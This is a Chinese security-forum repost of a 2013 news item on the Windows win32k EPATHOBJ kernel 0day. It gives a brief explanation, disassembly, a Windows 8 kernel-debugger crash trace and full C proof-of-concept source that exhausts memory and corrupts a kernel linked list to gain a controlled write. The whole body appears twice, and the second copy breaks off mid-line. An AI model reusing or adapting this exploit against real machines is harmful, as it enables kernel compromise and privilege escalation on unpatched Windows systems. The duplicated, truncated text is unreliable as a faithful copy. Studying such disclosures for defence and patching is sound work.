-
-
[转载]Windows内核EPATHOBJ 0day漏洞
-
发表于: 2013-5-27 15:55 4245
-
新闻链接:http://www.freebuf.com/vuls/9766.html
新闻时间:2013年5月23日
新闻正文:
此漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历。 如:PathRecord->next = PathRecord;
虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。 首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool失败。
pprFlattenRec :
.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
.text:BFA122BD cmp eax, 1 ; Check for failure
.text:BFA122C0 jz short continue
.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit所以要创建一个这样的节点列表:
PathRecord->Next = PathRecord;
PathRecord->Flags = 0;然后 EPATHOBJ::bFlatten()自旋:
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
/* ... */
for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
{
if ( ppr->flags & PD_BEZIER )
{
ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
}
}
/* ... */
}可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞 从
/ / EPATHOBJ的:: bFlatten()第一个pprFlattenRec代码块:
if ( pprNew->pprPrev )
pprNew->pprPrev->pprnext = pprNew;
写入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter)
{ ## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。
LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”,
GetCurrentThreadId(),
Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
## 使主(main)线程无法调用FlattenPath(),
## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).
## 然后打补丁列表来触发我们的exploit.
while (NumRegion–)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”,
&PathRecord->next, &ExploitRecord);
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else {
LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”);
} return 0;
} PathRecord->next = PathRecord;
PathRecord->prev = (PVOID)(0×42424242);
PathRecord->flags = 0;
ExploitRecord.next = NULL;
ExploitRecord.prev = 0xCCCCCCCC;
ExploitRecord.flags = PD_BEZIERS;在Win 8下的输出:
kd> g
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck 50, {cccccccc, 1, 8f18972e, 2}
*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
Followup: MachineOwner
---------
nt!RtlpBreakWithStatusInstruction:
810f46f4 cc int 3
kd> kv
ChildEBP RetAddr Args to Child
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:
8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 9200.16581.x86fre.win8_gdr.130410-1505
Machine Name:
Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050
Arguments cccccccc 00000001 8f18972e 00000002以下是示例代码POC::
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//
POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion;
HANDLE Mutex;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[0];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
// This routine waits for a mutex object to timeout, then patches the
// compromised linked list to point to an exploit. We need to do this.
LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
GetCurrentThreadId(),
Mutex);
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// It looks like the main thread is stuck in a call to FlattenPath(),
// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// up, and then patch the list to trigger our exploit.
while (NumRegion--)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
} else {
LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
}
return 0;
}
int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
HRGN Buffer;
ULONG PointNum;
ULONG Count;
// Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
// Initialise with recognisable debugging values.
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord;
PathRecord->prev = (PVOID)(0x42424242);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
ExploitRecord.next = NULL;
ExploitRecord.prev = 0xCCCCCCCC;
ExploitRecord.flags = PD_BEZIERS;
LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);
// Generate a large number of Bezier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop("DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
Mutex = CreateMutex(NULL, TRUE, NULL);
// Get a handle to this Desktop.
Device = GetDC(NULL);
// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
LogMessage(L_INFO, "Flattening curves...");
// Begin filling the free list with our points.
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
LogMessage(L_INFO, "No luck, cleaning up");
// If we reach here, we didn't trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
ReleaseDC(NULL, Device);
WaitForSingleObject(Thread, INFINITE);
return 0;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, " %s\n", Buffer); break;
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
}
fflush(stdout);
fflush(stderr);
return TRUE;
}
新闻时间:2013年5月23日
新闻正文:
此漏洞是通过对PATHALLOC()进行内存压力测试爆出的,首先利用PATHREC>指向相同的的用户空间PATHREC EPATHOBJ::bFlatten它会”自旋”进行无限链表遍历。 如:PathRecord->next = PathRecord;
虽然它会自旋,但它会通过另一个线程池来打补丁(pprFlattenRec)到列表中的节点(因为它是在用户空间)。 首先,创建一个”监控线程( watchdog)”,atomically补丁列表,因为pprFlattenRec过早退出,bug不能被利用会导致HeavyAllocPool失败。
pprFlattenRec :
.text:BFA122B8 call newpathrec ; EPATHOBJ::newpathrec(_PATHRECORD * *,ulong *,ulong)
.text:BFA122BD cmp eax, 1 ; Check for failure
.text:BFA122C0 jz short continue
.text:BFA122C2 xor eax, eax ; Exit early .text:BFA122C4 jmp early_exit所以要创建一个这样的节点列表:
PathRecord->Next = PathRecord;
PathRecord->Flags = 0;然后 EPATHOBJ::bFlatten()自旋:
BOOL __thiscall EPATHOBJ::bFlatten(EPATHOBJ *this)
{
/* ... */
for ( ppr = ppath->pprfirst; ppr; ppr = ppr->pprnext )
{
if ( ppr->flags & PD_BEZIER )
{
ppr = EPATHOBJ::pprFlattenRec(pathobj, ppr);
}
}
/* ... */
}可以先清掉另一个线程,然后再进行线程修复(因为在userspace是可以做到的)来触发该漏洞 从
/ / EPATHOBJ的:: bFlatten()第一个pprFlattenRec代码块:
if ( pprNew->pprPrev )
pprNew->pprPrev->pprnext = pprNew;
写入 0xCCCCCCCC: DWORD WINAPI WatchdogThread(LPVOID Parameter)
{ ## 此程序超时会等待一个mutex对象,然后修补受损的链表指向一个漏洞。
LogMessage(L_INFO, “Watchdog thread %u waiting on Mutex () %p”,
GetCurrentThreadId(),
Mutex); if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
## 使主(main)线程无法调用FlattenPath(),
## 因为内核EPATHOBJ::bFlatten()自旋可以被清理(clear).
## 然后打补丁列表来触发我们的exploit.
while (NumRegion–)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR, “InterlockedExchange(%p, %p);”,
&PathRecord->next, &ExploitRecord);
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord); } else {
LogMessage(L_ERROR, “Mutex object did not timeout, list not patched”);
} return 0;
} PathRecord->next = PathRecord;
PathRecord->prev = (PVOID)(0×42424242);
PathRecord->flags = 0;
ExploitRecord.next = NULL;
ExploitRecord.prev = 0xCCCCCCCC;
ExploitRecord.flags = PD_BEZIERS;在Win 8下的输出:
kd> g
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************
Use !analyze -v to get detailed debugging information.
BugCheck 50, {cccccccc, 1, 8f18972e, 2}
*** WARNING: Unable to verify checksum for ComplexPath.exe
*** ERROR: Module load completed but symbols could not be loaded for ComplexPath.exe
Probably caused by : win32k.sys ( win32k!EPATHOBJ::pprFlattenRec+82 )
Followup: MachineOwner
---------
nt!RtlpBreakWithStatusInstruction:
810f46f4 cc int 3
kd> kv
ChildEBP RetAddr Args to Child
a03ab494 8111c87d 00000003 c17b60e1 cccccccc nt!RtlpBreakWithStatusInstruction (FPO: [1,0,0])
a03ab4e4 8111c119 00000003 817d5340 a03ab8e4 nt!KiBugCheckDebugBreak+0x1c (FPO: [Non-Fpo])
a03ab8b8 810f30ba 00000050 cccccccc 00000001 nt!KeBugCheck2+0x655 (FPO: [6,239,4])
a03ab8dc 810f2ff1 00000050 cccccccc 00000001 nt!KiBugCheck2+0xc6
a03ab8fc 811a2816 00000050 cccccccc 00000001 nt!KeBugCheckEx+0x19
a03ab94c 810896cf 00000001 cccccccc a03aba2c nt! ?? ::FNODOBFM::`string'+0x31868
a03aba14 8116c4e4 00000001 cccccccc 00000000 nt!MmAccessFault+0x42d (FPO: [4,37,4])
a03aba14 8f18972e 00000001 cccccccc 00000000 nt!KiTrap0E+0xdc (FPO: [0,0] TrapFrame @ a03aba2c)
a03abbac 8f103c28 0124eba0 a03abbd8 8f248f79 win32k!EPATHOBJ::pprFlattenRec+0x82 (FPO: [Non-Fpo])
a03abbb8 8f248f79 1c010779 0016fd04 8f248f18 win32k!EPATHOBJ::bFlatten+0x1f (FPO: [0,1,0])
a03abc08 8116918c 1c010779 0016fd18 776d7174 win32k!NtGdiFlattenPath+0x61 (FPO: [1,15,4])
a03abc08 776d7174 1c010779 0016fd18 776d7174 nt!KiFastCallEntry+0x12c (FPO: [0,3] TrapFrame @ a03abc14)
0016fcf4 76b1552b 0124147f 1c010779 00000040 ntdll!KiFastSystemCallRet (FPO: [0,0,0])
0016fcf8 0124147f 1c010779 00000040 00000000 GDI32!NtGdiFlattenPath+0xa (FPO: [1,0,0])
WARNING: Stack unwind information not available. Following frames may be wrong.
0016fd18 01241ade 00000001 00202b50 00202ec8 ComplexPath+0x147f
0016fd60 76ee1866 7f0de000 0016fdb0 77716911 ComplexPath+0x1ade
0016fd6c 77716911 7f0de000 bc1d7832 00000000 KERNEL32!BaseThreadInitThunk+0xe (FPO: [Non-Fpo])
0016fdb0 777168bd ffffffff 7778560a 00000000 ntdll!__RtlUserThreadStart+0x4a (FPO: [SEH])
0016fdc0 00000000 01241b5b 7f0de000 00000000 ntdll!_RtlUserThreadStart+0x1c (FPO: [Non-Fpo])
kd> .trap a03aba2c
ErrCode = 00000002
eax=cccccccc ebx=80206014 ecx=80206008 edx=85ae1224 esi=0124eba0 edi=a03abbd8
eip=8f18972e esp=a03abaa0 ebp=a03abbac iopl=0 nv up ei ng nz na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010286
win32k!EPATHOBJ::pprFlattenRec+0x82:
8f18972e 8918 mov dword ptr [eax],ebx ds:0023:cccccccc=????????
kd> vertarget
Windows 8 Kernel Version 9200 MP (1 procs) Free x86 compatible
Product: WinNt, suite: TerminalServer SingleUserTS
Built by: 9200.16581.x86fre.win8_gdr.130410-1505
Machine Name:
Kernel base = 0x81010000 PsLoadedModuleList = 0x811fde48
Debug session time: Mon May 20 14:17:20.259 2013 (UTC - 7:00)
System Uptime: 0 days 0:02:30.432
kd> .bugcheck
Bugcheck code 00000050
Arguments cccccccc 00000001 8f18972e 00000002以下是示例代码POC::
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <stddef.h>
#include <winnt.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "gdi32")
#pragma comment(lib, "kernel32")
#pragma comment(lib, "user32")
#define MAX_POLYPOINTS (8192 * 3)
#define MAX_REGIONS 8192
#define CYCLE_TIMEOUT 10000
//
// win32k!EPATHOBJ::pprFlattenRec uninitialized Next pointer testcase.
//
// Tavis Ormandy <taviso () cmpxchg8b com>, March 2013
//
POINT Points[MAX_POLYPOINTS];
BYTE PointTypes[MAX_POLYPOINTS];
HRGN Regions[MAX_REGIONS];
ULONG NumRegion;
HANDLE Mutex;
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
// Copied from winddi.h from the DDK
#define PD_BEGINSUBPATH 0x00000001
#define PD_ENDSUBPATH 0x00000002
#define PD_RESETSTYLE 0x00000004
#define PD_CLOSEFIGURE 0x00000008
#define PD_BEZIERS 0x00000010
typedef struct _POINTFIX
{
ULONG x;
ULONG y;
} POINTFIX, *PPOINTFIX;
// Approximated from reverse engineering.
typedef struct _PATHRECORD {
struct _PATHRECORD *next;
struct _PATHRECORD *prev;
ULONG flags;
ULONG count;
POINTFIX points[0];
} PATHRECORD, *PPATHRECORD;
PPATHRECORD PathRecord;
PATHRECORD ExploitRecord;
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
// This routine waits for a mutex object to timeout, then patches the
// compromised linked list to point to an exploit. We need to do this.
LogMessage(L_INFO, "Watchdog thread %u waiting on Mutex () %p",
GetCurrentThreadId(),
Mutex);
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT) {
// It looks like the main thread is stuck in a call to FlattenPath(),
// because the kernel is spinning in EPATHOBJ::bFlatten(). We can clean
// up, and then patch the list to trigger our exploit.
while (NumRegion--)
DeleteObject(Regions[NumRegion]);
LogMessage(L_ERROR, "InterlockedExchange(%p, %p);", &PathRecord->next, &ExploitRecord);
InterlockedExchangePointer(&PathRecord->next, &ExploitRecord);
} else {
LogMessage(L_ERROR, "Mutex object did not timeout, list not patched");
}
return 0;
}
int main(int argc, char **argv)
{
HANDLE Thread;
HDC Device;
ULONG Size;
HRGN Buffer;
ULONG PointNum;
ULONG Count;
// Create our PATHRECORD in userspace we will get added to the EPATHOBJ
// pathrecord chain.
PathRecord = VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
LogMessage(L_INFO, "Alllocated userspace PATHRECORD () %p", PathRecord);
// Initialise with recognisable debugging values.
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = PathRecord;
PathRecord->prev = (PVOID)(0x42424242);
// You need the PD_BEZIERS flag to enter EPATHOBJ::pprFlattenRec() from 需要从EPATHOBJ::pprflattenRec()键入PD——BEZIERS,这样就可以触发无限循环。
// EPATHOBJ::bFlatten(). We don't set it so that we can trigger an infinite
// loop in EPATHOBJ::bFlatten().
PathRecord->flags = 0;
LogMessage(L_INFO, " ->next @ %p", PathRecord->next);
LogMessage(L_INFO, " ->prev @ %p", PathRecord->prev);
LogMessage(L_INFO, " ->flags @ %u", PathRecord->flags);
ExploitRecord.next = NULL;
ExploitRecord.prev = 0xCCCCCCCC;
ExploitRecord.flags = PD_BEZIERS;
LogMessage(L_INFO, "Creating complex bezier path with %#x", (ULONG)(PathRecord) >> 4);
// Generate a large number of Bezier Curves made up of pointers to our
// PATHRECORD object.
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = (ULONG)(PathRecord) >> 4;
PointTypes[PointNum] = PT_BEZIERTO;
}
// Switch to a dedicated desktop so we don't spam the visible desktop with
// our Lines (Not required, just stops the screen from redrawing slowly).
SetThreadDesktop(CreateDesktop("DontPanic",
NULL,
NULL,
0,
GENERIC_ALL,
NULL));
Mutex = CreateMutex(NULL, TRUE, NULL);
// Get a handle to this Desktop.
Device = GetDC(NULL);
// Spawn a thread to cleanup
Thread = CreateThread(NULL, 0, WatchdogThread, NULL, 0, NULL);
// We need to cause a specific AllocObject() to fail to trigger the
// exploitable condition. To do this, I create a large number of rounded
// rectangular regions until they start failing. I don't think it matters
// what you use to exhaust paged memory, there is probably a better way.
//
// I don't use the simpler CreateRectRgn() because it leaks a GDI handle on
// failure. Seriously, do some damn QA Microsoft, wtf.
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1))
NumRegion++;
}
LogMessage(L_INFO, "Allocated %u HRGN objects", NumRegion);
LogMessage(L_INFO, "Flattening curves...");
// Begin filling the free list with our points.
for (PointNum = MAX_POLYPOINTS; PointNum; PointNum -= 3) {
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
LogMessage(L_INFO, "No luck, cleaning up");
// If we reach here, we didn't trigger the condition. Let the other thread know.
ReleaseMutex(Mutex);
ReleaseDC(NULL, Device);
WaitForSingleObject(Thread, INFINITE);
return 0;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, "
}
fflush(stdout);
fflush(stderr);
return TRUE;
}
赞赏
他的文章
- [原创] 2235
- [讨论]没有PE格式的pe文件 5960
- [求助]调试一个php 漏洞的疑惑 2599
- [求助]漏洞分析和web渗透哪个前景好 35216
看原图
赞赏
雪币:
留言: